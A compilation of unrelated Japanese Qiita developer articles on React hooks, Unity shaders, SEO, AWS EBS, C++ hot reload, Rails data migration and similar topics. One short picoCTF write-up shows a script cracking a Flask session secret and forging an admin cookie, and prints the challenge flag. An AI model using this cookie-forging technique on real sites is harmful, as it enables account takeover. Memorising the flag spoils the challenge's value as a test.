また、nvmを使用している場合はnvm.shを実行すると良いというようなイシューのコメントも見かけましたので、各自の開発環境に大きく依存しているんだなと感じています。

特定のプロジェクトの為に、ホームディレクトリにファイルを置くのはちょっとモヤモヤしますが。。。
ある程度大きな規模のプロジェクトになると非エンジニアのかたもGitを操作するようなシーンもあると思いますので、この方法は取りにくいかもしれませんが、あくまで仮の対策という感じで考えていただければと思います。

明日の[Advent Calendar](https://qiita.com/advent-calendar/2022/andfactory)の記事もお楽しみに！:santa:
副作用の実行タイミング(useEffect)の迷いポイントをまとめてみた。

[Supershipグループ Advent Calendar 2022](https://qiita.com/advent-calendar/2022/supership)の12日目の記事になります。
## はじめに

今回は,ReactのuseEffectを
業務でよく使っているがどういう挙動をするか分からなくなる事が多いなと思い復習も兼ねて,
迷うケースをまとめてみました。

## Reactにおける副作用とは

- Domの更新
- API通信
- state/propsの変更
- ファイルへの書き込み
- オブジェクトまたはその内部のプロパティへの代入
- 配列のpush
...etc

コンポーネントの外に影響を与える行為。

## useEffect
副作用をいつ実行するか制御できるもの


## 迷いやすい副作用実行タイミングまとめ

### ケース1【第2引数の配列に要素を渡した場合】

```javascript
const [hoge, setHoge] = setState(0);

useEffect(() => {
    console.log(hoge)
}, [hoge]);
```

hogeが出力されるタイミングは

- 初回render後
- 再render後にhogeが変化した場合

**Unmount時には実行されない**

### ケース2【第2引数に空配列を渡した場合】

```javascript
useEffect(() => {
  console.log('hoge');
}, []);
```
hogeが出力されるタイミングは
- 　初回render後のみ

例えばリアルタイム性が不要なGETのAPI通信等は、初回render後に一度だけ実行すれば良いので、第2引数に空配列を入れてあげて不要なAPI通信を減らしてあげます。

### ケース3【第二引数に何も渡さない場合】

```javascript
useEffect(() => {
  console.log('hoge');
});
```
hogeが出力されるタイミングは
- 初回render後
- 再render後

全ての再render後に実行されるので**見直しが必要なこと**が多い(余分な再描画が行われていることが多い為)

## クリーンアップ
### ケース4【第二引数の配列に要素を渡した場合】

```javascript
useEffect(() => {
  return () => {
    console.log(hoge);
  };
}, [hoge]);
```
hogeが出力されるタイミングは
- 再render後にhogeが変化していた場合
- Unmount時

**初回render時**には実行されない


### ケース5【第2引数に空配列を渡した場合】

```javascript
useEffect(() => {
  return () => {
    console.log('hoge');
  };
}, []);
```
hogeが出力されるタイミングは
- Unmount時



### ケース6【第2引数に何も渡さない場合】
```javascript
useEffect(() => {
  return () => {
    console.log('hoge');
  };
});
```
hogeが出力されるタイミングは
- 再render後
- Unmount時

## 振り返り

今まで学んだことを振り返り。
countが0→10になったときにコンソール画面に何が出るか考えてみよう
```javascript
useEffect(() => {
  console.log('副作用', count)
  return () => {
    console.log('クリーンアップ', count);
  };
}, [count]);
```

### 答え
```
クリーンアップ 0
副作用　10
```

0→10になったタイミングで
一度クリーンアップが走り、その後再renderが走り副作用が実行される。

## まとめ
プロダクトのフロントのパーフォーマンスを仕事
をしていく為に近々useMemoについてもまとめようと思っています。

## 最後に
Supershipではプロダクト開発やサービス開発に関わる人を絶賛募集しております。
ご興味がある方は以下リンクよりご確認ください。

[Supership 採用サイト](https://supership.jp/recruit/)

是非ともよろしくお願いします。
MaterialとShaderGraph

# はじめに

STECH / 愛知工業大学 システム工学研究会 共同企画 Advent Calendar 2022 12日目の記事です．

自作したモデルがなんか物足りない時は大体MaterialとShaderGllaphをちょっと触るだけで非常にいい感じになる，というお話です．

こんな人を対象にしています
- Unity初心者
- Materialはいつも適当に設定してる
- Shaderわからん


# 環境

macOS Big Sur 11.6.8
Unity 2021.3.9f1


# Material
基本的に，MaterialはSpecular(非金属)とMetaric(金属)さえ使い分けられればよいと思っています．

### Metaric
パラメータはMetaricとSmoothnessです(他にもありますが)
それぞれ直訳すると金属性・滑らかさですが，詳しくは下の図を参照してもらうとイメージしやすいかと思います．
Metallicは左が小さく，右がおおきくなっています．
Smoothnessは下が小さく，上の方が大きくなっています．

![スクリーンショット 2022-12-10 10.57.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/463868/3137b600-a4c3-97c3-b9cb-90e74ca1e5a4.png)

### Specular
パラメータはSmoothnessのみです．
Smoothnessは下が小さく，上の方が大きくなっています．
チュートリアルは正しく使い分けろといっていましたが，Metaricの左列と一致しそうですね．

![スクリーンショット 2022-12-10 12.53.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/463868/000895c0-92ae-1e59-c613-6548f763b154.png)


# ShaderGraph

本題のShaderGraphです．
ProjectビューのShader→Blank Shader GraphからShaderGlaphを作成し，開きます．こんな感じ．
![スクリーンショット 2022-12-12 10.28.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/463868/87e24498-769d-e54d-ddef-666a71a2bb7a.png)


右下にプレビューが出るので，これを見つつ作りましょう．


左下のは定数みたいなもんです．多分．+ボタンからColor，Floatの値を作れます．

何もないところで右クリック→CreateNodeで関数的なものを作れます．
よく使うのはMath→BasicのAdd,Devide,Multiplyあたりではないでしょうか．
詳しく知りたければ公式のノードライブラリの章を参照するとよいです．

例えばこんな感じ．
![スクリーンショット 2022-12-12 10.46.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/463868/811b893f-ba8e-7597-f3a4-29113568af04.png)



TimeとTillingAndOffsetを組み合わせてGradientNoiseを動かしてみたり，(公式が激推し足すとこんな感じになります．
![スクリーンショット 2022-12-12 10.55.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/463868/d49db8b1-d5df-66b9-719f-372ad16dae7c.png)


作り終わったら，ProjectからMaterialを作成し，Inspectビューの一番上のShaderに自作したShaderGlaphを適用しましょう．


# おわりに

もちろん公式を参照したり，自分でいろいろ試してみるのが一番ですが
この記事がなにかのきっかけになればと思います．


# 参考文献
公式チュートリアル　

https://learn.unity.com/mission/creative-core-shaders-and-materials/?contentId=619f9e6eedbc2a5554f0b472&missionId=619f9b6cedbc2a39aabd7b1e&pathwayId=61a65568edbc2a00206076dd&tab=content

公式リファレンス
https://docs.unity3d.com/ja/Packages/com.unity.shadergraph@10.0/manual/index.html
【SEO対策】自社サイトのSEO対策で実施したこと

こんにちは、
今回は、弊社自社サイトの[madree(マドリー)](https://madree.jp/)で実施したSEO対策をご紹介したいと思います。実際に検索順位が1位を獲得したものもあるので、SEO対策でお困りの方はぜひご覧ください。

## 実施したSEO対策
実施したSEO対策は以下のとおり。
+ タイトルやディスクリプション、H1タグなどの改善
+ サイトのスピードアップ
+ 記事リライト


## タイトルやディスクリプション、H1・H2タグなどの改善
SEO（検索エンジン最適化）とは、検索エンジンの特性を理解し、それを利用してウェブサイトの自然検索順位を向上させることを指します。H1タグはHTMLの1つの要素で、テキストを大きな見出しとして表示するために使用されます。
SEO対策では、H1タグを適切に使用することで、検索エンジンがウェブサイトの内容を理解しやすくなり、サイトの自然検索順位が向上する可能性があります。しかし、H1タグを過剰に使用すると、逆に検索エンジンからの信頼が失われることもあるため、適切な使い方が重要です。
[madree(マドリー)](https://madree.jp/)では、"間取り"というキーワードが柱になるので、多くのページに"間取り"をいうキーワードを取り入れています。ただ、KWが被らないように注意が必要でした。

参考:[検索エンジン最適化（SEO）スターター ガイド](https://developers.google.com/search/docs/fundamentals/seo-starter-guide?hl=ja&visit_id=637696262194259363-1151920371&rd=1#headingtags)


## サイトのスピードアップ
サイトの読み込み速度は、サイトのパフォーマンスやユーザーの体験に大きな影響を与えるため、重要な指標の1つです。そのため、サイトのスピードアップをする必要がありました。
サイトのスピードアップのために実施したことは以下の通り。
+ 重い処理の改善
+ 画像の圧縮、遅延読み込み
+ インフラの増強

特に力を入れたのは、重い処理の改善です。SQLの実行速度が、1秒以上かかるものがありました。まずは、SQLのクエリの見直しを行い、それ以上はインフラの増強などでカバーしました。

## 記事のリライト
記事のリライトでは、タイトルや、記事の文章の書き直しを実施しました。
まず、狙うキーワードを決めて、そのキーワードに合うタイトルを付けました。
[madree(マドリー)](https://madree.jp/)のサイト構造は、間取りの一覧ページの下に各間取りの詳細ページがあります。
そのため一覧ページは「〇〇　+ 間取り」を狙い、詳細ページでは「〇〇　+ 間取り + △△」を狙いました。

改善したページの一例です。
+ 「平屋 + 間取り」→[平屋の間取り一覧](https://madree.jp/plans?tag_id=44)
+ 「二世帯住宅 + 間取り」→[二世帯住宅の間取り一覧](https://madree.jp/plans?tag_id=86)

## 最後に
今回は、弊社自社サイトの[madree(マドリー)](https://madree.jp/)で実施したSEO対策をご紹介しました。

弊社では、一緒に働いてくれるエンジニアを募集しています。
↓最新技術や自社開発に興味のある方はこちらから↓
[Wantedly - スタジオアンビルト株式会社](https://www.wantedly.com/companies/studiounbuilt)

こんなWebサービスを作っています。
・[マドリー](https://madree.jp/)
・[Studio Unbuilt](https://www.studiounbuilt.com/)
初ハッカソンの感想

 どうも**kimuran25**です。
 開発未経験でハッカソンに出てみて感じたことをまとめてみました！
 初投稿で見にくいかもしれませんが、ぜひ読んでみてください。


## 目次
    
**1.自己紹介**
**2.ハッカソンに出た理由**
**3.ハッカソンに出てみた感想**

## 1.自己紹介
* まずは軽く自己紹介から
    * 理系情報系学部の3回生
    * 趣味はゲーム🎮、サッカー⚽️(見る専)
    * 授業でプログラミングを習うもなかなか身が入らず
    * プログラミング力は文法が少しわかるぐらい
  
    プログラミングを触ったことはあるけれども開発をしたことがありませんでした笑


## 2.ハッカソンに出た理由
* ハッカソンに出た理由はいろいろありました。

    **1. プログラミングのモチベーション向上**
        - 授業で触る機会があったプログラミングですが、アプリ開発などができるようになるのに憧れがあったもののなかなか勉強をすることができませんでした。そこでチームを組んで強制的に勉強する環境に身を置くことでやる気を無理やり出させました。

    **2. チームで開発をしてみたかった**
        - 元々プログラマとして働くのに興味が合って情報系に進んだのですが、授業でやるのは文法や座学ばかりで思っていたのと何か違いました。チームメンバーと共に意見を出し合い、試行錯誤しながら開発をするのがカッコ良いなと思っていました。
        
    **3. エンジニア力の強化**
        - もちろんエンジニアとして強強のマッチョになることも目的に参加しました。開発を通して得られる知識や技術を身につけれるように頑張りました。

## 3.ハッカソンに出てみた感想
* 実際にハッカソンに出てみると、想像以上の経験を味わえました！！ハッカソンを通して技術面や精神面でたくさんのことを学べました。思い出してみると辛かったことの方が多いような気もするような．．．

* **面白かったこと**
    * 何かしらの成果物を作っていくのがめちゃくちゃ面白かったです。開発で成果物を作ったことのない私にとっては自分たちで作っているものが形として出来上がってきているのが楽しかったです。フロントエンドの画面ができてきた時は作っている実感が湧いてきて興奮しました。（ちなみに私はバックエンド担当なので一回もフロントの方は触りませんでした笑）

    * また、チームで意見を出し合いながら協力して開発するのがハッカソンに出た中で一番の経験になりました。チームの中ではそれぞれにできないところできるところの分野があり、役割分担をして開発することでチームとしての意識や責任感が芽生え開発者になった気分を味わえました。

* **辛かったこと**
    * できないことが多かったのが一番辛かったです。技術が足りないのは初心者だとしょうがないのですが、みんなが開発する中やることがない時間も多く申し訳なわさの極みです。でも開き直ってできないものはできないのでそこは頼るべきなので初心者はどんどん頼りましょう！！

    * あとはチームで開発を行うことでも苦労することが多かったです。一人だと自分の意見をやりたいときに作業していくことでできますが、チームだといつ集まるのかやアプリのアイデアから名前などまでいろいろなことをチームで話し合って決めていかなければいけません。辛かったわけではないのですが難しさは感じました。

* 以上のように面白かったことや辛かったことなどいろいろありましたが、ここで得た経験は私の血肉となり、これからの成長につながることでしょう。何もできることがなかった私と一緒に開発をしてくれたメンバーには感謝しかないです。



#### 追記
* この記事を読んでくれた方々ありがとうございました！！
(^_^) || ~
また、記事を書くことがあれば読んでください。
【AWS】EBSボリュームの特徴・比較メモ

## 概要
AWS Solution Architect Associate試験で出題されることの多いEBSボリュームについて、それぞれの特徴などをまとめてみました。

## ボリュームタイプの比較

||プロビジョンド IOPS SSD <br>(io2　Block Express)|プロビジョンド IOPS SSD <br>(io2)|汎用SSD <br>(gp2)|スループット最適化HDD <br>(st1)|コールドHDD <br>(sc1)|
|----|-----|------|------------|------|----|
|**最大IOPS<br>(1MiB I/O)**|256,000|64,000|16,000|500| 250|
|**最大スループット<br>(MiB/s)**|4,000|1,000|250|500|250|
|**コスト**|高|高|高|低|低|
|**ユースケース**| I/O 負荷の高いデータベースサーバ|本番環境<br>低レイテンシー|開発・テスト環境|ログ等大きなファイルの読み書き| 低頻度アクセス|



## その他メモ
### 課金
**プロビジョニングされたストレージ**に対して課金される。
### HDD/SSD　タイプの違い
- SDD
    - **頻繁**な読み込み・書き込み向き
    - ブートボリュームとして利用できる
- HDD
    - **大規模**なデータの読み書きが発生するワークロード向き

### プロビジョンドIOPSタイプについて
- 最大16のLinuxインスタンスに**マルチアタッチ**できる
- io2 Block Expressは**X2idn、X2iedn、R5b、C7g、Trn1** インスタンスで使用可能
### インスタンスストアとの比較

- インスタンスストアは**揮発性ブロックストレージ**であり、インスタンスを停止するとデータが失われてしまう
- EBSよりも**高性能**（インスタンスタイプによって異なる）
- EBSのようにネットワークによるやりとりがないため、ネットワークの影響を受けにくい
- 一時ストレージの保存に適している

https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/InstanceStorage.html


## 参考・関連記事
https://aws.amazon.com/jp/ebs/volume-types/

https://aws.amazon.com/jp/ebs/features/

https://awsjp.com/AWS/hikaku/EBS-Storage-Type-chigi.html
Airtableでenebularの使いどころ: 販売在庫管理編

今回は在庫管理の話ですが、まずは販売関係の在庫管理です（生産工程における原料・部品・半製品・製品などの生産在庫の話は別の機会で）

## Webと実店舗の在庫をリアルタイムで同期したい

こんな要望もよく聞きます。もちろん、Shopify POSなど使ってWebショップも実店舗も同じサービスで統一すれば1発で解決できるんですが、ここでも帯に短し襷に長し、以下のような理由で別々のサービス選定になる場合もあります。

- Shopifyはグローバルサービスなので国内サービスとの連携が弱い（キャッシュレス、銀行など）
- Shopify POSを利用した上でキャッシュレス決済も行いたい場合、Shopify POSは任意で決済したことにして、キャッシュレス決済端末に金額を入力して決済するという二度手間が発生する（ミスも起こりやすい）
- 在庫情報は分散しないが決済情報が分散するので結局決済情報のデータ連携が必要になる

このような悩ましい理由で今回WebはShopifyで実店舗はスマレジという構成を選択した話です。

### 在庫情報はAirtableに集約

Shopifyにもスマレジにも在庫管理機能があるのでどれを正としても良いのですが、重要なポイントは双方向のトリガによる編集合戦が起きないよう、なるべく一方通行にすることです。例えばShopifyの在庫を正とするなら、実店舗で販売/返品されたタイミングでShopifyの在庫を増減させる処理をスマレジのWebhookに設定するのみ、というような感じです。

もちろん、こういったケースでもデータ連携時に細かい処理が必要になることが多いので、Webhookには是非、[enebularのクラウド実行環境](https://docs.enebular.com/ja/executionenvironment/overview)を使いましょう！

![スクリーンショット 2022-12-12 12.14.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/21109/2ceb9392-e92e-7517-fd77-de5b9b6bacd1.png)

今回はメーカーさんの直営店舗だったので生産在庫から出荷されると自動で在庫数を増やしたいという要望があって、工場・Shopify・スマレジの3方向連携となりましたのでAirtableに集約することにしました。

![スクリーンショット 2022-12-12 12.24.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/21109/a30c2f26-bd02-90c3-431f-8d669d990530.png)

在庫管理システムを構築したことがある人なら言わずもがなですが、在庫はあるテーブルのあるフィールドの数字を増減し合うような処理はミスの元なので、今回もAirtableに入出庫テーブルというテーブルがあって、各連携先からは「○月○日○○製品○個入庫」「○月○日○○製品○個出庫」というような履歴データを投入します。

#### Shopify → AirtableのWebhook処理

![スクリーンショット 2022-12-12 12.32.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/21109/73d5a545-6b00-e01b-bebf-d9db53a9a066.png)

#### スマレジ → AirtableのWebhook処理

![スクリーンショット 2022-12-12 12.31.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/21109/12e3dc41-baba-72ef-864b-04d6edabc667.png)

もう、この辺のWebhook処理はワンパターンになってきましたね...

#### 工場出荷 → Airtable

実は工場出荷処理はAirtableの同じWorkspaceで作っていますので、工場の出荷現場でバーコードがスキャンされたタイミングでAutomationsが動いて入出庫テーブルにデータが投入されます。

### おまけ

ちなみに、この記事には掲載していないですが、Shopifyやスマレジの様々なデータへのアクセスが必要だったため、ウフルの森内さんにShopifyノードとスマレジノードを作ってもらいました。

https://flows.nodered.org/node/node-red-contrib-shopify

https://flows.nodered.org/node/node-red-contrib-smaregi

是非、使ってみてください！
第2回 みんキャプ アワード 世の中にあるいろんなものを 3Dキャプチャ してその 3Dモデル を 3Dデジタルマップ に並べて自慢し合うコンテスト型のお祭りを開催しています

タイトルだけで 3D って何回言ったでしょうか。
なろう小説っぽいタイトルをとおもいましたが、難しいですね。

さて本題。

https://2022.minc.app

コンテスト型のお祭りです。募集期間は 2022/12/01 〜 2023/01/15 です。

2021年に初めて実験的に開催。おかげさまでいろんなかたのご協力をいただき第2回の開催にいたりました。ありがとうございます。

スマホで 3Dキャプチャ して 3Dモデル をつくって 3Dデジタルマップに並べて自慢し合うだけです。

あ、タイトルまんまですね。

これ 「3Dデジタルマップ に並べる」っていうのがポイントなんです。

国土交通省の Project PLATEAU でお馴染みの、3Dデジタルマップ（互換）を活用しています。

https://www.mlit.go.jp/plateau/

3Dキャプチャしたものを 3Dデジタルマップにならべることで、世界観がうまれていくのです。

一度気楽にためしてくださいませ。

## みんキャプとはみんなで今をキャプチャし共有するムーブメントです。

![みんキャプとは.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57516/add70f25-45e5-e90c-072d-c89981599948.jpeg)

### なぜはじめてみたのか

![みんキャプを始めた背景.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57516/352f488f-930f-70ce-e531-9fc1d3a188b2.jpeg)

![みんキャプを始めた背景２.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57516/931c6369-989f-b4c5-8925-15753710d48e.jpeg)

とまぁカタクも書いてみましたが、とりあえずとってもたのしいんです。

![みんキャプを始めた背景３.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57516/b250d4db-7208-507f-4602-ffcc9d1c5d37.jpeg)

![第1回 みんキャプ アワード 結果.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57516/42575d88-33bb-e8bd-4bd3-8a90f2cfc74e.jpeg)

![第1回 みんキャプ アワード 受賞作品.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57516/32288971-cc87-59cc-924b-755c32130cd3.jpeg)

[第1回 みんキャプ アワード 受賞作品 https://2021.minc.app/awards](https://2021.minc.app/awards)

## ということで 第2回 みんキャプ アワード 開催

![第2回 みんキャプ アワード 審査員.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57516/f586cf0e-4f88-9174-064e-870fa244043e.jpeg)

#### パートナーさま 感謝！ （敬称略 ５０音順）
+ 連携イベント
  + 東京都主催「東京都デジタルツイン実現プロジェクト3Dアーカイビングイベント」
+ 自治体
  + 神戸市
  + 静岡県
  + デジタルツイン渋谷
  + 磐梯町3D化プロジェクト
+ 教育機関（大学）
  + 愛媛大学工学部附属社会基盤iセンシングセンター
+ 法人・団体パートナー
  + アクセンチュア株式会社
  + 合同会社岩櫃城忍びの乱
  + Niantic
  + 株式会社ホロラボ
+ 個人パートナー
  + 朱護あかね
  + かねひさ＠しこく
  + 瓦頭斎
  + 石棒クラブ
  + 宅建士ホームズ
  + にーさと（第１回グランプリ受賞者）
  + ひげだるま
  + ヤサ
+ メディアパートナー
  + ASCII STARTUP
  + Mogura VR
+ 後援
  + WOGO
  + オイロバ＆パートナーズ合同会社
  + カナツ技建工業株式会社
  + 八王子市
+ 協力
  + Project PLATEAU


## パートナーさまのご協力もあり 賞の総数 23個以上！を予定

最優秀賞
審査員賞 それぞれ ４つ
連携イベント賞・パートナー賞・個人賞 などなど

気軽に、どしどしご応募、お待ちしています。

https://2022.minc.app


### ハンズオンイベントも

2022年12月14日 (水) 20:00 - 21:00

みんキャプ アワード オンライン ハンズオン を開催します。

こちらも、お気軽にご参加くださいませ。

https://peatix.com/event/3434036/
C++でホットリロードを実装する

# 最初に（興味なかったら飛ばしてね！）

自作でゲームエンジンを作るにあたって（自分は結局作らなかったけど）スクリプティングシステムはなくてはならない機能です。

実装手法には様々あると思います。
聞いたことがある範囲だとC#呼び出しとかLuaなどのスクリプト言語とか

自分は実際にLua言語を使ってスクリプティングをしようと考えていたのですが、Luaのデータ受け渡しの設計があまり肌に合わなかったのでC++で実装してみることにしました。

それっぽいことを書いたものの、実際にはUE4でリロードされてるのを見て技術的な興味が湧いたことが実装理由の大部分を占めています:fire:


# ここから技術の話

まず簡単に実装手順について書いていこうと思います。

プロジェクトを２つ用意します（1つはDllを呼び出す側、もう1つはDllにする側）

１：プログラム（プロジェクト）を用意して
２：何らかのBuildツールを使ってDllに吐き出します。
３：後はリンクしたらできた！

実際はこんなに簡単ではないのでもう少し詳しく書きます。
特にDll内の設計は個人の設計によるとしか言えない部分も多いので自分の実装での話にしようと思います。


自分のプロジェクトの設計を簡単に図面で紹介します。

![MyEmgine.drawio (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3057237/bbb6b65a-392e-9b89-403a-98b5d6aedee7.png)

エンジン側をExeとして起動して、Dll化したゲーム側の更新関数と描画関数を呼び出すことでゲームとして動かしています。

この設計にすることで、実行中にエンジン側からcmakeを使ってゲーム側のDllをビルドすることができるようになります。


ここから自分の実装例を疑似コードで紹介します。

ホットリロードをする手順のコードです。

```C++:SceneLoader.cpp
    // 実体を破棄する前に書き出す（後述）
    mpSceneSystem->ExportReload();

    // 現在のシーンを終了する
    mpSceneSystem->Finalize();

    // 既存の実体を破棄
    if(mpSceneSystem)
    {
        delete mpSceneSystem;
        mpSceneSystem = nullptr;
    }

    // Dllをすでに読み込んでいた場合破棄する
    if(mModule!=nullptr)
    {
        FreeLibrary(mModule);
    }

    // cmakeを使ってDllをビルド
    BuildDll();

    // ビルド後のDllをロード
    mModule = LoadLibraryA("Game.dll");
    if (mModule != nullptr)
    {
        // エラー処理（環境とか自分のやり方に合わせてください）
    }

    // 実体を生成
    const auto creator = reinterpret_cast<DllLoader>(GetProcAddress(mModule, "CreateSceneSystem"));
    mpSceneSystem = creator();
    
```

最後の // 実体を生成　とコメントしているところは、Dllから公開されている「シーンの実体を作成してそのポインタを返す関数」を呼び出すコードです。

ゲームループ中にこの処理を走らせて、mpSceneSystemを新しいものに更新してしまえば、リロード完了です。

ゲームループではmpSceneSystemを使って更新関数や描画関数を呼び出しています。
いろんなところにエラー処理が必要だと思うのでそのあたりは環境や自分のやり方に変えてください。
また、コメントの内容でそれぞれの関数が実装されているので足りない実装はそれぞれでお願いします。
m~はメンバ変数p~はポインタです。

ここまででソースコード自体のホットリロードはできるようになりました。
（まだcmakeを使ったビルドの方法とか依存関係の構築とか課題はあるけど...）

# 実際の開発で起こった障害とその対処法

ここからは実際の開発で起きた障害とその対策を紹介します。

まず、1番大きな障害はリロード前のデータが失われるということです。
これはDllを破棄してしまうとその後はmpSceneSystemに入っているポインタにアクセスできなくなるのでゲーム内のコードにアクセスできなくなることによっておきます。

この障害は、ゲーム内のデータをすべて、Dllを破棄する前にセーブして、Dllをビルド後ロードすることによって解決しました。

理論だけなら簡単ですが実際には設計なども絡んでくるので複雑になってしまうと思います。

自分の具体的な解決策を紹介します。

自分は「cereal」というライブラリを使用しました。
このライブラリはQiitaで他の人も紹介してくれている通り、とても使いやすく、リファレンスも豊富なので導入しやすいと思います。
特に、ポインタや継承関係もしっかり保持したままデシリアライズ・シリアライズすることが可能なのでゲームのような複雑で大きなデータを書き出すのには重宝しました。

URL
https://github.com/USCiLab/cereal
http://uscilab.github.io/cereal/index.html

2つ目はデバッグシンボルが壊れてしまうことです。
デバッグシンボルとはデバッガーを動かすのに必要なファイルで、リロード前から1文字でも変更されてしまうとブレークポイントなどが使えなくなってしまいます。

自分はリロード後にデバッグシンボルを新たに生成し、リンクすることで、解決しました。その際名前が被らないように日付_時間で命名規則を設定することで対応しました。

# 実装した感想
当初の目的であったリロードは完全に達成することができたので良かったと思います。
また、実装にあたってcmakeやDllなど普段の開発で使っていない分野の技術を勉強できたのは楽しかったです。

しかしスクリプト言語と違い、リロードにコンパイルという手間が必要で、その速度がイテレーションに直結するので、設計や、コードを書く技術力が使用者にも必要だと感じました。

また、シリアライズ時の保守にもコストがかかってしまうことも分かったので、保守をより簡単にする技術についても学んでいきたいです。

参考URL
https://logmi.jp/tech/articles/241569
データ移行をして学んだ3つのこと

## はじめに
はじめまして。
リンクアンドモチベーションでエンジニアをしている田中です。
まだまだ若輩者のエンジニアですが
直近、データ移行タスクに挑戦する機会があり、大事な観点を特に3点学んだのでこの場でアウトプットさせていただきます。

## 構成
- 今回担当したデータ移行タスク
- 躓いたことと学び
- 今後の展望

## 今回担当したデータ移行タスク
今回担当した移行タスクは３点です。移行タスクファイルはrailsを使って作成しています。
- 社内Aアプリケーションから、社内Bアプリケーションへマイクロサービス化に伴ってDB分離するための移行
- 社内Aアプリケーションから、外部Cアプリケーションへマイクロサービス化に伴ってAPI分離するための移行
- 社内AアプリケーションのAテーブルにおいて、AカラムからBカラムへ、カラム名変更に伴う移行

## 躓いたことと学び
特に3点、ベテランエンジニアの方からFBいただく中で学びが大きかったので、ピックアップして書きたいと思います。

### 要件は正しいか　〜移行対象のデータ範囲が決まっていない〜
エンジニア側の要件定義では移行対象になっているものの、実際に使うのかわからないデータが存在していました。
本当に**そのデータ範囲で過不足がない**のか、**移行後のユースケースを過去慣性なく設計する**必要があります。

❌私の失敗例
とりあえず、要件に合致するものを全部移行して、使われないデータが新DBにも移行されてしまう

⭕️行った対策
ユースケースを使用するユーザーとすり合わせ、必要なデータだけを移行する

### 設計はリスクヘッジが取れているか　〜データ移行の実行手順書について、失敗のリスクが考慮されていない〜
実行手順について、フェーズごとに失敗するとどうなるのかが検討されていない点が多く存在しました。
失敗時のリスクが大きい箇所は特に、**失敗するとしたら何が原因か**を考え抜き、対策を打っておく必要があります。

❌私の失敗例
データ移行失敗時の復旧手順がなく、もし失敗したら復旧に時間をかけてしまう
dry run等で実行の期待値が正しいことを確認できる手段がないので、予期せぬ本番のデータ変更に対応できない

⭕️行った対策
データ移行失敗時の復旧手順を、自分以外でも行える粒度で記載する
データ変更を伴わないテスト実行（dry run）を行えるようにし、処理の最終チェックを本番実行前に行えるようにする

### 実装は機能・性能を満たす上で最善であるか　〜データ移行の性能に問題があり、実行完了までに時間がかかりすぎる〜
そもそもデータ量が多いにも関わらず、バルクインサートを行えていなかったので、元々の移行には30分弱かかっていました、、、
> バルクインサートとは、リレーショナルデータベース（RDB）のテーブルに行を追加する際、複数の行を一回のSQL文の実行で追加すること。INSERT文に複数行のデータを列挙する。
[IT用語辞典　e-Words](https://e-words.jp/w/%E3%83%90%E3%83%AB%E3%82%AF%E3%82%A4%E3%83%B3%E3%82%B5%E3%83%BC%E3%83%88.html#:~:text=%E3%83%90%E3%83%AB%E3%82%AF%E3%82%A4%E3%83%B3%E3%82%B5%E3%83%BC%E3%83%88%E3%80%90bulk%20insert%E3%80%91,%E3%81%AE%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E5%88%97%E6%8C%99%E3%81%99%E3%82%8B%E3%80%82)より

またバルクインサートにおいてもrailsには主に２手法があり、当初railsに標準搭載しているinsert_allを用いていました。
一方、バリデーションやコールバックを用いた上でインサートしたい時に、insert_allでは実現が不可能です。
そのため、性能面ではinsert_allが優れているものの、不整合データを受け入れないためにactiverecord-importを使用しました。
>以下[Railsのbulk insert事情](https://system.blog.uuum.jp/entry/2022/10/11/131234)より引用
insert_allとactiverecord-importの違い

|| insert_all| activerecord-import |
|:-----------|-------------:|------------:|
|実行速度	|◎	|○
|batch size指定|	×	|○
|自動timestamp|	○ (ver. 7 ~)*1|	○
|arg:hash	|○	|○
|arg:model objects|	×	|○
|association|	○ (ver. 6.1 ~)*2|	○
|validation	|×	|○
|callback	|×	|○

*1:https://github.com/rails/rails/pull/43003
*2:https://github.com/rails/rails/pull/38899

❌私の失敗例
性能を考慮せず処理を書き、Time Out Errorを起こす

⭕️行った対策
要件を満たす実装方法＋できるだけ処理が速く行える実装方法を比較検討し、機能・性能が最も充足している方法を用いる

## 今後の展望
データ移行タスクの設計〜実装で、**要件を絞ること**、**設計のリスク考慮もれをなくすこと**、**機能・性能を満たす上でそれが最善かを検討すること**の大切さを学びました。
あらゆるシステムにおいて上記3点は大切ですが、リスクの大きいデータ移行というタスクで、ひしひしと大切さに気づくことができたので普段の設計、実装タスクに活かしていきます！
picoCTF Writeup picoGym Practice Challenges Most Cookies (注意<spoiler>)

# Most Cookies

https://ctftime.org/writeup/26978

コードの引数にはcookieのsessionの値を入力すればサーバーによって設定された Cookie を取得することができる

。

```:py
$ python3 server.py 
$ python3 solve1.py eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.Y5aSYg.CUPIkC2-YXm__UZxVKzeFFO18DI
Secret key: fortune
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Y5aYWw.zpgAwTFwWqpwbmyRuSdC1AKZdCM
```


picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}
外部サーバからAppSyncにcurlコマンドでリクエストを送る（IAM認証）

# 概要
この記事では、AppSync を IAM認証で外部サーバから叩く際の curlコマンド例を紹介します。
ここではリクエスト元のサーバにEC2インスタンスの利用を想定しています。

# 前提条件
  - AppSync が用意されていること
  - AppSync にカスタムドメインが紐づけられていること
  - EC2インスタンスを立ち上げ済みであること

# IAMロールの設定
1. ポリシーに ``AWSAppSyncAdministrator`` を選択し、IAMロールを作成します。
1. リクエスト元のEC2インスタンスにIAMロールを紐づけます。
    1. EC2のコンソールから、対象のインスタンスを選択
